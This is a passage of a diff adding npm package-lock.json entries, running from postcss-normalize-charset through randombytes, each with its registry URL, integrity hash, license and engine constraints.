"https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz", + "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.16.6", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "license": "MIT", + "dependencies": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-opacity-percentage": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.2.tgz", + "integrity": "sha512-lyUfF7miG+yewZ8EAk9XUBIlrHyUE6fijnesuz+Mj5zrIHIEw6KcIZSOk/elVMqzLvREmXB83Zi/5QpNRYd47w==", + "funding": [ + { + "type": "kofi", + "url": "https://ko-fi.com/mrcgrtz" + }, + { + "type": "liberapay", + "url": "https://liberapay.com/mrcgrtz" + } + ], + "license": "MIT", + "engines": { + "node": "^12 || ^14 || >=16" + } + }, + "node_modules/postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "license": "MIT", + "dependencies": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-overflow-shorthand": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz", + "integrity": "sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-page-break": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/postcss-page-break/-/postcss-page-break-3.0.4.tgz", + "integrity": "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==", + "license": "MIT", + "peerDependencies": { + "postcss": "^8" + } + }, + "node_modules/postcss-place": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-7.0.5.tgz", + "integrity": "sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-preset-env": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-7.7.2.tgz", + "integrity": "sha512-1q0ih7EDsZmCb/FMDRvosna7Gsbdx8CvYO5hYT120hcp2ZAuOHpSzibujZ4JpIUcAC02PG6b+eftxqjTFh5BNA==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-cascade-layers": "^1.0.4", + "@csstools/postcss-color-function": "^1.1.0", + "@csstools/postcss-font-format-keywords": "^1.0.0", + "@csstools/postcss-hwb-function": "^1.0.1", + "@csstools/postcss-ic-unit": "^1.0.0", + "@csstools/postcss-is-pseudo-class": "^2.0.6", + "@csstools/postcss-normalize-display-values": "^1.0.0", + "@csstools/postcss-oklab-function": "^1.1.0", + "@csstools/postcss-progressive-custom-properties": "^1.3.0", + "@csstools/postcss-stepped-value-functions": "^1.0.0", + "@csstools/postcss-trigonometric-functions": "^1.0.1", + "@csstools/postcss-unset-value": "^1.0.1", + "autoprefixer": "^10.4.7", + "browserslist": "^4.21.0", + "css-blank-pseudo": "^3.0.3", + "css-has-pseudo": "^3.0.4", + "css-prefers-color-scheme": "^6.0.3", + "cssdb": "^6.6.3", + "postcss-attribute-case-insensitive": "^5.0.1", + "postcss-clamp": "^4.1.0", + "postcss-color-functional-notation": "^4.2.3", + "postcss-color-hex-alpha": "^8.0.4", + "postcss-color-rebeccapurple": "^7.1.0", + "postcss-custom-media": "^8.0.2", + "postcss-custom-properties": "^12.1.8", + "postcss-custom-selectors": "^6.0.3", + "postcss-dir-pseudo-class": "^6.0.4", + "postcss-double-position-gradients": "^3.1.1", + "postcss-env-function": "^4.0.6", + "postcss-focus-visible": "^6.0.4", + "postcss-focus-within": "^5.0.4", + "postcss-font-variant": "^5.0.0", + "postcss-gap-properties": "^3.0.3", + "postcss-image-set-function": "^4.0.6", + "postcss-initial": "^4.0.1", + "postcss-lab-function": "^4.2.0", + "postcss-logical": "^5.0.4", + "postcss-media-minmax": "^5.0.0", + "postcss-nesting": "^10.1.9", + "postcss-opacity-percentage": "^1.1.2", + "postcss-overflow-shorthand": "^3.0.3", + "postcss-page-break": "^3.0.4", + "postcss-place": "^7.0.4", + "postcss-pseudo-class-any-link": "^7.1.5", + "postcss-replace-overflow-wrap": "^4.0.0", + "postcss-selector-not": "^6.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-pseudo-class-any-link": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz", + "integrity": "sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==", + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz", + "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.16.6", + "caniuse-api": "^3.0.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-replace-overflow-wrap": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz", + "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==", + "license": "MIT", + "peerDependencies": { + "postcss": "^8.0.3" + } + }, + "node_modules/postcss-selector-not": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz", + "integrity": "sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.10", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", + "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-svgo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-svgo/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/postcss-svgo/node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "license": "MIT", + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/postcss-svgo/node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "license": "CC0-1.0" + }, + "node_modules/postcss-svgo/node_modules/svgo": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "license": "MIT", + "dependencies": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "license": "MIT" + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.7.1.tgz", + "integrity": "sha512-ujppO+MkdPqoVINuDFDRLClm7D78qbDt0/NR+wp5FqEZOoTNAjPHWj17QRhu7geIHJfcNhRk1XVQmF8Bp3ye+g==", + "dev": true, + "license": "MIT", + "bin": { + "prettier": "bin-prettier.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/pretty-bytes": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz", + "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pretty-error": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "license": "MIT", + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/prismjs": { + "version": "1.29.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.29.0.tgz", + "integrity": "sha512-Kx/1w86q/epKcmte75LNrEoT+lX8pBpavuAbvJWRXar7Hz8jrtF+e3vY751p0R8H9HdArwaCTNDDzHg/ScJK1Q==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "license": "MIT" + }, + "node_modules/promise": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/promise/-/promise-8.1.0.tgz", + "integrity": "sha512-W04AqnILOL/sPRXziNicCjSNRruLAuIHEOVBazepu0545DDNGYHz7ar9ZgZ1fMU8/MA4mVxp5rkBWRi6OXIy3Q==", + "license": "MIT", + "dependencies": { + "asap": "~2.0.6" + } + }, + "node_modules/prompts": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "license": "MIT", + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/propagating-hammerjs": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/propagating-hammerjs/-/propagating-hammerjs-1.5.0.tgz", + "integrity": "sha512-3PUXWmomwutoZfydC+lJwK1bKCh6sK6jZGB31RUX6+4EXzsbkDZrK4/sVR7gBrvJaEIwpTVyxQUAd29FKkmVdw==", + "license": "MIT", + "dependencies": { + "hammerjs": "^2.0.8" + } + }, + "node_modules/property-expr": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/property-expr/-/property-expr-2.0.5.tgz", + "integrity": "sha512-IJUkICM5dP5znhCckHSv30Q4b5/JA5enCtkRHYaOVOAocnH/1BQEYTC5NMfT3AVl/iXKdr3aqQbQn9DxyWknwA==", + "license": "MIT" + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-from-env": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.0.0.tgz", + "integrity": "sha512-F2JHgJQ1iqwnHDcQjVBsq3n/uoaFL+iPW/eAeL7kVxy/2RrWaN4WroKjjvbsoRtv0ftelNyC01bjRhn/bhcf4A==", + "dev": true, + "license": "MIT" + }, + "node_modules/ps-tree": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/ps-tree/-/ps-tree-1.2.0.tgz", + "integrity": "sha512-0VnamPPYHl4uaU/nSFeZZpR21QAWRz+sRv4iW9+v/GS/J5U5iZB5BNN6J0RMoOvdx2gWM2+ZFMIm58q24e4UYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "event-stream": "=3.3.4" + }, + "bin": { + "ps-tree": "bin/ps-tree.js" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/psl": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", + "license": "MIT" + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/q": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", + "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==", + "deprecated": "You or someone you depend on is using Q, the JavaScript Promise library that gave JavaScript developers strong feelings about promises. They can almost certainly migrate to the native JavaScript promise now. Thank you literally everyone for joining me in this bet against the odds. Be excellent to each other.\n\n(For a CapTP with native promises, see @endo/eventual-send and @endo/captp)", + "license": "MIT", + "engines": { + "node": ">=0.6.0", + "teleport": ">=0.2.0" + } + }, + "node_modules/qs": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz", + "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/query-state-core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/query-state-core/-/query-state-core-2.5.0.tgz", + "integrity": "sha512-XVo7I/K+gKXqu+HlxtGXfjUtQ+LPjs5bTHB4RC4vDs6yCYLmchc4IxcZWt5EdZZLqIg/CuY+PUxN141t3J17fQ==", + "license": "MIT" + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", + "license": "MIT" + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/raf": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz", + "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==", + "license": "MIT", + "dependencies": { + "performance-now": "^2.1.0" + } + }, + "node_modules/raf-schd": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/raf-schd/-/raf-schd-4.0.3.tgz", + "integrity": "sha512-tQkJl2GRWh83ui2DiPTJz9wEiMN20syf+5oKfB03yYP7ioZcJwsIK8FjrtLwH1m7C7e+Tt2yYBlrOpdT+dyeIQ==", + "license": "MIT" + }, + "node_modules/ramda": { + "version": "0.26.1", + "resolved": "https://registry.npmjs.org/ramda/-/ramda-0.26.1.tgz", + "integrity": "sha512-hLWjpy7EnsDBb0p+Z3B7rPi3GDeRG5ZtiI33kJhTt+ORCd38AbAIjB/9zRIUoeTbE/AVX5ZkU7m6bznsvrf8eQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": 